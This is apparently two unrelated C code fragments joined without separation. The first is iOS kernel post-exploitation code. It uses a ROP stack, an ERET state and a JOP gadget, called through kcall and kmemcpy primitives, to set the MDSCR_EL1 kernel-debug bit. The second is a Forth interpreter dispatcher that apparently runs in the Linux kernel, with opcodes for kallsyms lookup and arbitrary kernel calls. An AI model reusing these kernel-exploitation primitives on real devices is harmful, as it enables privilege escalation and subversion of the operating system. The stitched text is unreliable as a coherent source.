/* we want to call this gadget: FFFFFFF0071E1998 MSR #0, c0, c2, #2, X8 ; [>] MDSCR_EL1 (Monitor Debug System Control Register) FFFFFFF0071E199C ISB // this a workaround for some errata... FFFFFFF0071E19A0 B loc_FFFFFFF0071E19F8 ... FFFFFFF0071E19F8 BL _ml_set_interrupts_enabled FFFFFFF0071E19FC ADD SP, SP, #0x220 FFFFFFF0071E1A00 LDP X29, X30, [SP,#0x20+var_s0] FFFFFFF0071E1A04 LDP X20, X19, [SP,#0x20+var_10] FFFFFFF0071E1A08 LDP X28, X27, [SP+0x20+var_20],#0x30 FFFFFFF0071E1A0C RET lets just use the ERET case to get full register control an run that on a little ROP stack which then returns to thread_exception_return */ void set_MDSCR_EL1_KDE(mach_port_t target_thread_port) { /* this state will be restored by an eret */ arm_context_t eret_return_state = {0}; // allocate a stack for the rop: //uint64_t rop_stack_kern_base = kmem_alloc_wired(0x4000); uint64_t rop_stack_kern_base = early_kalloc(0x1000); uint64_t rop_stack_kern_middle = rop_stack_kern_base + 0xc00; eret_return_state.ss.ss_64.sp = rop_stack_kern_middle; uint64_t rop_stack_kern_popped_base = rop_stack_kern_middle + 0x220; // x28, x27, x20, x19, fp, lr uint64_t popped_regs[] = {0, 0, 0, 0, 0x414243444546, ksym(KSYMBOL_THREAD_EXCEPTION_RETURN)}; // directly return back to userspace after this kmemcpy(rop_stack_kern_popped_base, (uint64_t)popped_regs, sizeof(popped_regs)); #define MDSCR_EL1_KDE (1<<13) eret_return_state.ss.ss_64.x[8] = MDSCR_EL1_KDE; // the target place to eret to eret_return_state.ss.ss_64.pc = ksym(KSYMBOL_SET_MDSCR_EL1_GADGET); // we want to return on to SP0 and to EL1 // A,I,F should still be masked, D unmasked (here we could actually mask D?) #define SPSR_A (1<<8) #define SPSR_I (1<<7) #define SPSR_F (1<<6) #define SPSR_EL1_SP0 (0x4) eret_return_state.ss.ss_64.cpsr = SPSR_A | SPSR_I | SPSR_F | SPSR_EL1_SP0; //uint64_t eret_return_state_kern = kmem_alloc_wired(sizeof(arm_context_t)); uint64_t eret_return_state_kern = early_kalloc(sizeof(arm_context_t)); kmemcpy(eret_return_state_kern, (uint64_t)&eret_return_state, sizeof(arm_context_t)); // make the arbitrary call kcall(ksym(KSYMBOL_X21_JOP_GADGET), 2, eret_return_state_kern, ksym(KSYMBOL_EXCEPTION_RETURN)); printf("returned from trying to set the KDE bit\n"); // free the stack we used: //kmem_free(rop_stack_kern_base, 0x4000); }
static inline void forth_vm_execute_instruction(forth_context_type *fc, char cmd) { // printf("%c\n",cmd); // getchar(); switch(cmd) { case '0': push(fc,0); break; case '1': push(fc,1); break; case '2': push(fc,2); break; case '3': push(fc,3); break; case '4': push(fc,4); break; case '5': push(fc,5); break; case '6': push(fc,6); break; case '7': push(fc,7); break; case '8': push(fc,8); break; case '9': push(fc,9); break; case '@': at(fc); break; //@ case '!': to(fc); break; //! case 'd': fc->SP+=fc->cell; break; //drop case 'D': dup(fc); break; //dup case 's': swap_(fc); break; //swap case 'l': push(fc,next_cell(fc)); break; //lit case '+': add(fc); break; //+ case '-': sub(fc); break; //- case '*': mul(fc); break; //* case '/': div_(fc); break; // / case '%': mod(fc); break; //mod case '&': and(fc); break; // and case '|': or(fc); break; // or case '^': xor(fc); break; // xor case '>': more(fc); break; // > case '<': less(fc); break; // < case '=': eq(fc); break; // = case 'b': branch(fc); break; // branch case '?': cbranch(fc); break; // ?branch case 'c': call(fc); break; // call case 'r': ret(fc); break; // ret case 't': to_r(fc); break; // >R case 'f': from_r(fc); break; // R> case 'i': in(fc); break; // in case 'o': out(fc); break; // out case '_': fc->stop=1; break; // stop case 'A': adr0(fc); break; // @0 case 1: push(fc,fc->SP); break; // SP@ case 2: fc->SP=pop(fc); break; // SP! case 3: push(fc,fc->RP); break; // RP@ case 4: fc->RP=pop(fc); break; // RP! case 5: shl(fc); break; // << case 6: shr(fc); break; // >> case 7: push(fc,*(size_t *)(fc->mem+fc->RP)); break; // i case 8: cat(fc); break; // c@ case 9: cto(fc); break; // c! case 10: set_current_state(TASK_INTERRUPTIBLE); schedule_timeout(1); break; // nop case 11: in_ready(fc); break; // ?in case 12: out_ready(fc); break; // ?out case 16: umod(fc); break; // umod case 17: udiv(fc); break; // u/ // kernel case 'K': kalsym_lookup(fc); break; // lookup kallsym address case 18: kcall(fc); break; // kcall } }